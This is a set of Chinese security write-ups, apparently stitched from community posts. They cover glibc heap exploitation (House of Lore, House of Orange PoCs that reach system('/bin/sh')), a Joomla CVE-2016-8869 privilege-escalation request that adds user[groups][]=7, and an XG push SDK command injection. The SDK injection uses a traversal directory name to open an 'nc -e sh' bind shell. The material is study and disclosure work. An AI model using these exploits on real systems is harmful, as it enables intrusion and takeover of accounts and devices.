printf("再申请一个chunk，size大于之前chunk以防被分配到同一个位置\n");
printf("之前free的chunk现在进入small bin\n");
printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));
printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;
printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;
printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
printf("重新申请第一块,地址为: %p\n", malloc(len));
victim = malloc(len);
printf("再次申请得到fake_chunk,地址为 %p\n", victim);
return 0;
}
### 分步分析
#### 1 申请两个small chunk
ptr = malloc(len);
printf("第一块small chunk地址: %p\n\n", ptr);
printf("第二块大小可以为任意值，只是为了防止第一块free后与top chunk合并\n");
printf("第二块small chunk地址: %p\n\n", malloc(len));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091 <=== chunk1
0x555555559420: 0x0000000000000000 0x0000000000000000
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000000 0x0000000000000091 <=== chunk2
0x5555555594b0: 0x0000000000000000 0x0000000000000000
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000000
0x555555559500: 0x0000000000000000 0x0000000000000000
0x555555559510: 0x0000000000000000 0x0000000000000000
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 <=== top chunk
#### 2 释放chunk1
free(ptr);
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4b38 0x00007ffff7fc4b38 <=== 加入unsorted bin
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 =================>|
|
pwndbg> x/20xg 0x00007ffff7fc4b38 |
0x7ffff7fc4b38 <main_arena+88>: 0x0000555555559530 0x0000000000000000 <=|
0x7ffff7fc4b48 <main_arena+104>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4b58 <main_arena+120>: 0x00007ffff7fc4b48 0x00007ffff7fc4b48
0x7ffff7fc4b68 <main_arena+136>: 0x00007ffff7fc4b58 0x00007ffff7fc4b58
0x7ffff7fc4b78 <main_arena+152>: 0x00007ffff7fc4b68 0x00007ffff7fc4b68
0x7ffff7fc4b88 <main_arena+168>: 0x00007ffff7fc4b78 0x00007ffff7fc4b78
0x7ffff7fc4b98 <main_arena+184>: 0x00007ffff7fc4b88 0x00007ffff7fc4b88
0x7ffff7fc4ba8 <main_arena+200>: 0x00007ffff7fc4b98 0x00007ffff7fc4b98
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8
#### 3 申请chunk3
printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8 <=== chunk1加入small bin
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559530: 0x0000000000000000 0x00000000000000a1
pwndbg> x/20xg 0x00007ffff7fc4bb8
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4bd8 <main_arena+248>: 0x00007ffff7fc4bc8 0x00007ffff7fc4bc8
0x7ffff7fc4be8 <main_arena+264>: 0x00007ffff7fc4bd8 0x00007ffff7fc4bd8
0x7ffff7fc4bf8 <main_arena+280>: 0x00007ffff7fc4be8 0x00007ffff7fc4be8
0x7ffff7fc4c08 <main_arena+296>: 0x00007ffff7fc4bf8 0x00007ffff7fc4bf8
0x7ffff7fc4c18 <main_arena+312>: 0x00007ffff7fc4c08 0x00007ffff7fc4c08
0x7ffff7fc4c28 <main_arena+328>: 0x00007ffff7fc4c18 0x00007ffff7fc4c18
0x7ffff7fc4c38 <main_arena+344>: 0x00007ffff7fc4c28 0x00007ffff7fc4c28
0x7ffff7fc4c48 <main_arena+360>: 0x00007ffff7fc4c38 0x00007ffff7fc4c38
#### 4 修改bk fd指针，绕过检测
printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;
printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;
printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007fffffffda70 <=== fd->smallbin bk->&fake_chunk
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x00000000000000a1
pwndbg> x/20xg 0x00007fffffffda70
0x7fffffffda70: 0x0000038000000380 0x0000038000000380 <=== fake_chunk
0x7fffffffda80: 0x0000555555559410 0x00007fffffffdb00 <=== fd->chunk1 bk->&another_fake_chunk
0x7fffffffda90: 0x0000038000000380 0x0000038000000380
0x7fffffffdaa0: 0x0000038000000380 0x0000038000000380
0x7fffffffdab0: 0x0000038000000380 0x0000038000000380
0x7fffffffdac0: 0x0000000000000000 0x0000004000000100
0x7fffffffdad0: 0x0000000000000000 0x0000000000000000
0x7fffffffdae0: 0x0000000000000000 0x0000000000000000
0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
0x7fffffffdb00: 0x0000000000000000 0x0000000000000000
#### 5 malloc两次，成功将fake_chunk加入
printf("重新申请第一块,地址为: %p\n", malloc(len));
victim = malloc(len);
### 利用思路
通过house of lore，我们达到了任意地址分配内存的效果，就可以向chunk中写入数据来覆盖返回地址控制eip，甚至绕过 canary检查。
## House of Orange
### 原理
假设存在堆溢出可覆盖到 top chunk，设置top chunk+size页面对齐，设置prev_inuse位，然后申请一块比top chunk
size大的块，使top
chunk扩展。控制io_list_all，当malloc分割时，chunk->bk->fd的值会被libc的main_arena中的unsorted
bin列表的地址覆盖。修改fd满足相应条件，设置跳板指针指向可控内存，malloc触发利用链。
### Poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
fprintf(stderr,"House of orange Poc\n\n");
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
fprintf(stderr,"首先申请一个chunk: p1 %p \n",p1);
fprintf(stderr,"设置top chunk+size页面对齐，设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
fprintf(stderr,"申请一个size大于top chunk的块，使其调用sysmalloc和_init_free\n\n");
p2 = malloc(0x1000);
fprintf(stderr,"p2 %p \n", p2);
fprintf(stderr,"chunk->bk->fd覆盖_IO_list_all指针\n\n");
io_list_all = top[2] + 0x9a8;
fprintf(stderr,"io_list_all现在指向chunk->bk->fd %p \n", &io_list_all);
fprintf(stderr,"当malloc分割时，chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");
fprintf(stderr,"设置chunk->bk为_IO_list_all - 16\n");
top[3] = io_list_all - 0x10;
fprintf(stderr,"system将通过top指针被调用，使用用/bin/sh填充前8个字节，相当于system(/bin/sh)\n");
memcpy( ( char *) top, "/bin/sh\x00", 8);
fprintf(stderr,"将top chunk的size改小，使旧的top chunk被malloc分配到small bin[4]，指向伪文件指针的fd-ptr\n\n");
top[1] = 0x61;
fprintf(stderr,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
_IO_FILE *fp = (_IO_FILE *) top;
fprintf(stderr,"满足 fp->_mode <= 0\n" );
fp->_mode = 0; // top+0xc0
fprintf(stderr,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n");
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
fprintf(stderr,"设置跳板指向可控内存\n\n");
size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
fprintf(stderr,"malloc触发利用链\n");
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
### 分步分析
#### 1 申请chunk1，修改top chunk
p1 = malloc(0x400-16);
fprintf(stderr,"设置top chunk+size页面对齐，设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 1025,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603400 PREV_INUSE { <====== chunk1
prev_size = 0,
size = 3073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x604000 { <====== top chunk
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/40xg 0x603400-0x400
0x603000: 0x0000000000000000 0x0000000000000401 <===== chunk1
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
...
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000c01 <===== top chunk
0x603410: 0x0000000000000000 0x0000000000000000
#### 2 申请一个size大于top chunk的块
p2 = malloc(0x1000);
malloc p2前
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x603000 0x624000 rw-p 21000 0 [heap] <========= 0x603000-0x624000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
malloc p2后
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x603000 0x646000 rw-p 43000 0 [heap] <========= 0x603000-0x646000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
#### 3 构造_IO_list_all指针
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
pwndbg> x/10xg 0x603400
0x603400: 0x0000000000000000 0x0000000000000be1
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 fd bk
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603400
BK: 0x603400 —▸ 0x7ffff7dd2510 ◂— 0x0
#### 4构造system(/bin/sh)，缩小top chunk
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
pwndbg> x/10xg 0x603400
0x603400: 0x0068732f6e69622f 0x0000000000000061
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
#### 5 满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
pwndbg> x/10xg 0x00007ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3
#### 6 设置跳板指向可控内存
size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
#### 7 malloc触发利用链
malloc(10);
pwndbg> x/10xg 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x000055555577cc30 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
### 利用思路
在`glibc-2.23`之前没有检查，可直接构造假的`stdout`，触发libc的`abort`，利用`abort`中的`_IO_flush_all_lockp`来达到控制程序流的目的。
在`glibc-2.23`之后增加了`_IO_vtable_check`
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
要求`vtable`必须在`__stop___libc_IO_vtables`和`__start___libc_IO_vtables`之间，这就意味着不能利用任意地址来充当`vtable`。可以将`vtable`指向`_IO_str_jumps`，将`fp`的`0xe8`偏移覆盖为`system`函数，`fp`的`0x38`偏移覆盖为`/bin/sh`字符串，就能get
shell。
在`glibc-2.27`以及之后的源码中，abort中没有刷新流的操作
/* Send signal which possibly calls a user handler. */
if (stage == 1)
{
/* This stage is special: we must allow repeated calls of
`abort' when a user defined handler for SIGABRT is installed.
This is risky since the `raise' implementation might also
fail but I don't see another possibility. */
int save_stage = stage;
stage = 0;
__libc_lock_unlock_recursive (lock);
raise (SIGABRT);
__libc_lock_lock_recursive (lock);
stage = save_stage + 1;
}
因此不再容易利用。 | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2016-10-26**
漏洞联动：[Joomla未授权创建用户漏洞（CVE-2016-8870）分析](http://paper.seebug.org/86/)
## 0x00 漏洞概述
### 1.漏洞简介
[Joomla](https://www.joomla.org/)是一个自由开源的内容管理系统，近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞：[CVE-2016-8869](https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html)，[CVE-2016-8870](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。我们在这里仅分析CVE-2016-8869，利用该漏洞，攻击者可以在网站关闭注册的情况下注册特权用户。Joomla官方已对此漏洞发布[升级公告](https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html)。
### 2.漏洞影响
网站关闭注册的情况下仍可创建特权用户，默认状态下用户需要用邮件激活，但需要开启注册功能才能激活。
### 3.影响版本
3.4.4 to 3.6.3
## 0x01 漏洞复现
### 1\. 环境搭建
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
解压后放到服务器目录下，例如`/var/www/html`
创建个数据库：
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql
访问服务器路径进行安装即可。
### 2.漏洞分析
**注册**
注册部分可参考：[《Joomla未授权创建用户漏洞（CVE-2016-8870）分析》](http://paper.seebug.org/86/)
**提权**
下面我们来试着创建一个特权用户。
在用于注册的`register`函数中，我们先看一下`$model->register($data)`这个存储注册信息的方法，在`components/com_users/models/registration.php`中：
public function register($temp)
{
$params = JComponentHelper::getParams('com_users');
// Initialise the table with JUser.
$user = new JUser;
$data = (array) $this->getData();
// Merge in the registration data.
foreach ($temp as $k => $v)
{
$data[$k] = $v;
}
...
}
可以看到这里使用我们可控的`$temp`给`$data`赋值，进而存储注册信息。正常情况下，`$data`在赋值之前是这样的：
而正常情况下我们可控的`$temp`中是没有`groups`这个数组的，所以正常注册用户的权限就是我们配置中设置的权限，对应的就是`groups`的值。
那么提升权限的关键就在于更改`groups`中的值，因为`$data`由我们可控的`$temp`赋值，`$temp`的值来自于请求包，所以我们可以构造如下请求包：
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"
attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"
attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"
attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"
attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"
[email protected]
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"
[email protected]
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[groups][]"
7
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
这里我们添加一组值：`name="user[groups][]"
value=7`，让`user`被当作二维数组，从而`groups`被识别为数组，并设置数组第一个值为7，对应着`Administrator`的权限。
然后发包，通过调试可以看到`$temp`中已经有了`groups`数组：
最后创建了一个权限为`Administrator`的用户attacker2：
通过存在漏洞的注册函数我们可以提权，那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢？
通过对比这两个函数，可以发现这样一点：
`UsersControllerRegistration::register()`：
public function register()
{
...
$data = $model->validate($form, $requestData);
...
// Attempt to save the data.
$return = $model->register($data);
...
}
`UsersControllerUser::register()`：
public function register()
{
...
$return = $model->validate($form, $data);
...
// Attempt to save the data.
$return = $model->register($data);
...
}
可以看到`UsersControllerRegistration::register()`中存储了对`$requestData`验证后的`$data`，而`UsersControllerUser::register()`虽然同样进行了验证，但是存储的仍是之前的`$data`。所以重点是`validate`函数是否对`groups`进行了过滤，我们跟进一下，在`libraries/legacy/model/form.php`中：
public function validate($form, $data, $group = null)
{
...
// Filter and validate the form data.
$data = $form->filter($data);
...
}
再跟进`filter`函数，在`libraries/joomla/form/form.php`中：
public function filter($data, $group = null)
{
...
// Get the fields for which to filter the data.
$fields = $this->findFieldsByGroup($group);
if (!$fields)
{
// PANIC!
return false;
}
// Filter the fields.
foreach ($fields as $field)
{
$name = (string) $field['name'];
// Get the field groups for the element.
$attrs = $field->xpath('ancestor::fields[@name]/@name');
$groups = array_map('strval', $attrs ? $attrs : array());
$group = implode('.', $groups);
$key = $group ? $group . '.' . $name : $name;
// Filter the value if it exists.
if ($input->exists($key))
{
$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
}
}
return $output->toArray();
}
可以看到这里仅允许`$fields`中的值出现在`$data`中，而`$fields`中是不存在`groups`的，所以`groups`在这里被过滤掉，也就没有办法进行权限提升了。
**2016-10-27 更新** ：
默认情况下，新注册的用户需要通过注册邮箱激活后才能使用。并且：
由于`$data['activation']`的值会被覆盖，所以我们也没有办法直接通过请求更改用户的激活状态。
**2016-11-01 更新** ：
感谢`三好学生`和`D`的提示，可以使用邮箱激活的前提是网站 **开启** 了注册功能，否则不会成功激活。
我们看激活时的代码，在`components/com_users/controllers/registration.php`中第28-99行的`activate`函数：
public function activate()
{
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$uParams = JComponentHelper::getParams('com_users');
...
// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
{
JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
return false;
}
...
}
这里可以看到仅当开启注册功能时才允许激活，否则返回403。
### 3.补丁分析
官方删除了`UsersControllerUser::register()`方法。
## 0x02 修复方案
升级到3.6.4
## 0x03 参考
https://www.seebug.org/vuldb/ssvid-92495
[https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html](https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html)
<http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html>
<https://www.youtube.com/watch?v=Q_2M2oJp5l4>
* * * | 社区文章 |
# 【技术分享】一个目录穿越引发的注入及后续——XG SDK漏洞 回顾与思考
|
##### 译文声明
本文是翻译文章，文章来源：drops.wiki-小荷才露尖尖角
原文地址：<http://drops.wiki/index.php/2016/12/08/xgsdk/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00 简介**
XG SDK是一个流行的Android app推送SDK，有不少流行Android
app均在使用，本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。
漏洞最初在2016年4月份的时候提交给了某云网站，厂商已经确认，但由于网站持续“升级”的缘故，不太可能公开细节了。后续漏洞也已经提交给了TSRC，时至现在，相关漏洞均已经完全修复，漏洞已经不影响使用该SDK的app了，因此本文决定对相关技术细节予以分享，并补充有关该漏洞后续的一些研究。
**
**
**0x01 漏洞分析**
XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件，作为看门狗保活应用，并随机在55000~56000端口监听任意地址。
public static int getRandomPort() {
return XGWatchdog.getRandomInt(1000) + 55000;
}
在我们实验手机上的监听端口为55362，启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so
经过逆向分析，可发现这个开放端口支持一系列的文本命令，包括：
* “ver:”，获取版本号
* “debug:1”，打开调试
* “xgapplist:”,获取或设置使用xg sdk的app
* “tme:xxxx”，设置周期性启动服务的等待时间
* “exit2:”，退出
* 例如，发送debug:1，可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息，可见，手机上有四个app使用了该推送sdk.
* echo -n “debug:1” | nc 192.168.8.187 5536
当发送xgapplist:xxx，则可以设置当前使用xg sdk的app。其中xxx的形式为
<packagename1>,<accid1>;<packagename2>,<accid2>…
接下来会通过fopen打开/data/data/<packagename>/lib目录来判断指定packagename的目录是否存在，如果存在，则会在后续使用该packagename，否则提示找不到该package。
然后，程序会调用system通过am命令启动对应包内的XG组件，这里就使用了上面检查过的packagename.
注意，上述两个system函数中的参数没有进行任何过滤。
那么，我们结合上述两张图来看， **如果恶意app满足：**
1. 1\. 能够设置一个存在且被xg sdk可以访问的目录，
2. 2\. 目录名中嵌入执行的代码
3. 那么就可以实现命令注入。对于条件1，可以通过../../../../路径穿越的形式跳转到恶意app可控的目录；而对于条件2，则可以利用shell特性，在可控目录下建立猥琐的“ || <command> #”目录实现。
4. 5. **0x02 漏洞利用**
（1）模拟恶意app在/sdcard目录建立一个特殊（猥琐）的目录名，除了“/“字符外，其他字符均可用。
于是我们有了了” && nc -ll -p 6666 -e sh #”的目录，并在目录下存在子目录lib
（2）通过xgapplist命令设置推送app
如图，发送命令，
echo -n “xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;” | nc -vv 192.168.8.187 55362
观察logcat可以发现设置成功。
（3）通过tme命令，使am命令周期性进行，进而触发后面的system函数，执行我们的反弹shell命令
echo -n “tme:12345” | nc -v 192.168.8.187 55362
稍等片刻，观察logcat的打印信息后，可以尝试连接shell，成功连接
u0_a113用户正好就是com.tencent.wework
下面就可以以com.tencent.wework的权限做任何事情了，比如访问私有目录、打开保护的activity、发广播等等。
**
**
**0x03 漏洞是否能够远程**
因为当时漏洞取名带有“远程”二字不够严谨，引发了厂商的争议。的确，从这个漏洞的成因来看，主要还是本地恶意app通过污染目录名，结合XG开放的端口，完成本地提权。但经瘦蛟舞的指点，可以考虑向受害者发送包含污染目录名的zip包（或者通过浏览器下载解压至/sdcard），然后结合XG监听端口的地址为任意地址，远程传入命令，进而实现远程命令执行，这种远程攻击相对难度较大，因为开放的端口为随机端口，攻击者也需要社工欺骗受害者接收zip包.
**0x04 空指针解引用远程拒绝服务**
当向XG监听端口发送xgapplist命令时，libtpnsWatchdog.so对后面的packagename和accid进行处理，但并没有检查“，”或“；“分割的字符串为空的情况，导致后面atoll函数去访问0地址的内存，造成空指针解引用crash。见如下代码：
v1 = a1;
if ( a1 )
{
j_j_memset(xgapplist, 0, 0x200u);
first_app = j_j_strtok(v1, “;”);
v3 = 0;
v2 = first_app;
while ( 1 )
{
len_of_applist = v3;
if ( !v2 )
break;
v5 = j_j_strlen(v2);
v6 = v5 + 1;
v7 = (void *)j_operator new[](v5 + 1);
